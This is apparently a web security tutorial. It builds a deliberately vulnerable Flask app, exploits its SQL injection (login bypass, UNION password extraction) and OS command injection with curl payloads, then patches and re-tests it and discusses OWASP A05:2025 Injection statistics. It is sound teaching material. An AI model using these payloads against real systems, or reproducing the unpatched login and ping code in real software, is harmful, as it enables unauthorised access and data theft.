Injection bugs are still the most common finding in any serious web app assessment — not because developers don’t know SQL injection exists, but because the same root cause (untrusted input treated as code) keeps reappearing in new places: login forms, search boxes, and "convenience" admin tools that shell out to the OS. This article builds a small Flask app with two classic injection flaws — a raw-SQL login and an unsafe "ping host" admin feature — exploits both, patches them with the standard fixes, and re-tests to prove the patches hold. Along the way it covers what OWASP’s A05:2025 Injection category actually says in numbers, and why its rank dropped from #3 to #5 without the risk getting any smaller.
By the end you will have a working local lab (vulnerable and patched versions, zipped for download) you can run, break, and fix yourself.
The app: Acme Intranet
"Acme Intranet" is a minimal Flask app with two features:
- A login form backed by a SQLite
userstable. - An admin-only "Network Tools" page with a ping-host box, for admins to check connectivity to internal hosts.
Both features are implemented the way a developer in a hurry might write them on day one — before a code review catches the problem.
The vulnerable login
# before/app.py
@app.route("/", methods=["GET", "POST"])
def login():
error = None
if request.method == "POST":
username = request.form.get("username", "")
password = request.form.get("password", "")
conn = sqlite3.connect(DB_PATH)
# VULNERABLE: raw string concatenation builds the SQL statement
query = (
"SELECT username, role FROM users WHERE username = '"
+ username
+ "' AND password = '"
+ password
+ "'"
)
cur = conn.execute(query)
row = cur.fetchone()
conn.close()
if row:
session["user"] = row[0]
session["role"] = row[1]
return redirect(url_for("dashboard"))
error = "Invalid credentials"
return render_template_string(LOGIN_PAGE, error=error)
The query string is built by concatenating the raw username and password values straight from the HTTP request. Anything the attacker types inside those quotes becomes part of the SQL the database executes.

The vulnerable ping tool
Once logged in as admin, the dashboard shows a "Network Tools" box that pings a host the admin types in:
# before/app.py
@app.route("/ping", methods=["POST"])
def ping():
if session.get("role") != "admin":
return "Forbidden", 403
host = request.form.get("host", "")
flag = "-n" if platform.system() == "Windows" else "-c"
# VULNERABLE: user input concatenated straight into a shell command
command = "ping " + flag + " 1 " + host
result = subprocess.run(command, shell=True, capture_output=True, text=True)
output = result.stdout + result.stderr
return render_template_string(DASHBOARD_PAGE, ..., output=output)
shell=True plus string concatenation means the host field is handed straight to a real shell. Anything that shell understands — &, &&, ;, |, backticks — runs.
Exploiting the SQL injection
1. Authentication bypass
The classic payload: comment out the rest of the query so the password check never runs.
curl -s -c cookies.txt -X POST http://127.0.0.1:5000/ \
-d "username=admin'--&password=anything" -i
The server builds and runs:
SELECT username, role FROM users WHERE username = 'admin'--' AND password = 'anything'
-- starts a SQL comment, so everything after it — including the password check — is discarded. The response is a 302 redirect to /dashboard with a valid admin session cookie, despite never supplying a correct password.

2. Extracting data with a UNION
Authentication bypass proves the flaw exists; a UNION injection shows what an attacker can pull out of the database even from a page that normally returns only a username and a role.
curl -s -c cookies2.txt -X POST http://127.0.0.1:5000/ \
--data-urlencode "username=' UNION SELECT username, password FROM users WHERE username='admin' --" \
--data-urlencode "password=x"
curl -s -b cookies2.txt http://127.0.0.1:5000/dashboard | grep -i "Role:"
The resulting query is:
SELECT username, role FROM users WHERE username = ''
UNION SELECT username, password FROM users WHERE username='admin' --' AND password='x'
The original WHERE clause matches nothing, so the only row returned comes from the attacker’s UNION SELECT. The app then displays that row’s second column as the "role" — except it is really the admin account’s password:

This is the core lesson of SQL injection: it is not limited to login bypass. Any query whose output reaches the response — directly or, as here, mislabeled — can be used to exfiltrate arbitrary columns from arbitrary tables, given enough trial and error on the column count and types.
Exploiting the command injection
With an admin session from either SQLi payload above, the "ping host" field is reachable. A legitimate request just pings a host. A malicious one chains a second command using a shell metacharacter:
curl -s -b cookies.txt -X POST http://127.0.0.1:5000/ping \
--data-urlencode "host=127.0.0.1 & whoami"
On Windows, cmd.exe treats & as a command separator; on Linux/macOS a shell would treat ; or && the same way. The server runs:
ping -n 1 127.0.0.1 & whoami
Both commands execute, and both outputs are returned in the same response:

whoami is deliberately harmless here — in a real engagement, the same primitive reads files, downloads a reverse shell, or pivots further into the network. The vulnerability is the same regardless of payload: any string the attacker controls that reaches a shell is a full command execution primitive.
Patching both flaws
Fix 1: parameterized queries
The fix for the login form is not "escape the quotes better" — it is to stop building SQL out of strings at all. sqlite3 (like every mainstream DB driver) supports placeholders that keep user input as data, never as syntax:
# after/app.py
cur = conn.execute(
"SELECT username, role FROM users WHERE username = ? AND password = ?",
(username, password),
)
row = cur.fetchone()
The ? placeholders are bound separately from the query text. The database driver sends the SQL and the values as distinct pieces to SQLite, so a value like admin'-- is compared literally against the username column — it can never terminate the string or inject new SQL, no matter what characters it contains.
Fix 2: no shell, plus an input allowlist
The fix for the ping tool has two parts. First, never pass a user-influenced string through a shell — use subprocess with an argument list and shell=True removed entirely, so there is no shell to interpret metacharacters:
# after/app.py
result = subprocess.run(
["ping", flag, "1", host], shell=False, capture_output=True, text=True
)
With a list, each element is passed to the OS as a single argument — &, ;, and | inside host are just literal text passed to ping, not shell syntax.
Second, defense in depth: validate host against an allowlist before it ever reaches subprocess, so even a bug in some other code path can’t turn it into something dangerous:
# after/app.py
HOST_ALLOWLIST = re.compile(r"^[A-Za-z0-9.\-]{1,255}$")
if not HOST_ALLOWLIST.match(host):
error = "Rejected: host must be a plain hostname or IP address."
else:
result = subprocess.run(["ping", flag, "1", host], shell=False, ...)
Allowlisting (accepting only known-good characters) is far more reliable than denylisting specific dangerous characters, which is easy to get wrong or bypass with encoding tricks.

Re-testing: proving the fixes hold
Run the exact same three payloads from before against after/app.py:
curl -s -X POST http://127.0.0.1:5000/ -d "username=admin'--&password=anything"
# -> "Invalid credentials"
curl -s -X POST http://127.0.0.1:5000/ \
--data-urlencode "username=' UNION SELECT username, password FROM users WHERE username='admin' --" \
--data-urlencode "password=x"
# -> "Invalid credentials"
curl -s -b admin_cookies.txt -X POST http://127.0.0.1:5000/ping \
--data-urlencode "host=127.0.0.1 & whoami"
# -> "Rejected: host must be a plain hostname or IP address."
All three fail, and a legitimate ping to a plain IP still returns normal output — the fix removes the vulnerability without breaking the feature:

OWASP A05:2025: the numbers, and why the rank moved
OWASP’s A05:2025 Injection page puts hard numbers behind the category for the first time at this level of detail:
| Metric | Value |
|---|---|
| CWEs mapped to this category | 37 |
| Total CVEs | 62,445 |
| Max incidence rate | 13.77% |
| Average weighted exploit/impact coverage | 42.93% |
| Applications tested with some injection finding | 100% |
| XSS CVEs within the category | 30,000+ |
| SQL injection CVEs within the category | 14,000+ |
Two things stand out. First, Injection had the greatest number of CVEs of any OWASP Top 10 category, and 100% of tested applications had some form of injection finding — that is not the profile of a fading risk. Second, the category’s rank fell two spots, from #3 in the 2021 list to #5 in 2025.
Those two facts look contradictory until you look at how the 2025 ranking is actually computed. The category score is a weighted average across all 37 CWEs it covers, and Cross-Site Scripting (CWE-79) alone accounts for more than 30,000 of the category’s 62,445 CVEs — roughly half. XSS findings, averaged across that volume, tend to have a lower severity score per finding than the comparatively rarer but more severe SQL injection and OS command injection findings (14,000+ CVEs combined with typically higher exploitability and impact). Averaging a huge pile of lower-severity XSS entries together with a smaller pile of high-severity SQLi/command-injection entries pulls the category’s average weighted exploit and impact scores down, even though the high-severity entries themselves did not get any less dangerous or any less exploited.
In other words: the #3 → #5 drop is a consequence of OWASP’s 2025 scoring methodology — how CVE volume and severity are weighted and averaged across a large, CWE-diverse category — not a signal that injection flaws got safer, rarer, or less exploited. SQL injection and OS command injection are exactly as dangerous in 2025 as they were in 2021: full authentication bypass, arbitrary data exfiltration, and remote code execution, as this lab just demonstrated end to end. Treat the rank as a measurement artifact of how a large, heterogeneous category gets averaged — not as a severity downgrade — when you prioritize fixes.
Key takeaways
- Raw string-built SQL and
shell=Truewith concatenated input are thesame root cause: untrusted input treated as executable syntax instead of data.
- SQL injection is not just login bypass — UNION-based injection can
exfiltrate arbitrary columns through fields the page was never designed to display.
- Parameterized queries (
?placeholders) are the fix for SQL injection;string escaping is not a substitute.
- For OS commands, use
subprocesswith an argument list andshell=Trueremoved, and allowlist input before it ever reaches the subprocess call — defense in depth, not either/or. - OWASP A05:2025 Injection has 37 CWEs, 62,445 CVEs, and the highest CVE
count of any Top 10 category; its #3 → #5 rank drop is a scoring artifact of how XSS’s CVE volume averages against SQLi/command injection’s severity, not evidence that injection got less dangerous.
Lab: download and run it
What’s inside:
sqli-to-command-injection/
├── before/app.py # vulnerable: string-built SQL + shell=True ping
├── after/app.py # patched: parameterized SQL + allowlisted subprocess
├── requirements.txt
├── run.sh # Linux/macOS/WSL/Git Bash launcher
├── run.ps1 # Windows PowerShell launcher
└── README.md
To run it:
- Unzip the archive and open a terminal in
sqli-to-command-injection/. - Start the vulnerable app:
./run.sh before # or: .\run.ps1 beforeThis creates a local virtual environment, installs Flask, and serves the app on
http://127.0.0.1:5000. - Run the SQLi and command-injection payloads from this article against
it (they’re also listed in the lab’s
README.md). - Stop the server (
Ctrl+C), then start the patched app:./run.sh after # or: .\run.ps1 after - Re-run the same payloads and confirm they now fail, while a legitimate
login and ping still work.
- To reset the lab, delete the generated
before/lab.db/after/lab.dbfiles and the
venv/folder.
The app listens on 127.0.0.1 only, uses a placeholder SQLite database with demo accounts, and holds no real secrets — safe to run and break on your own machine.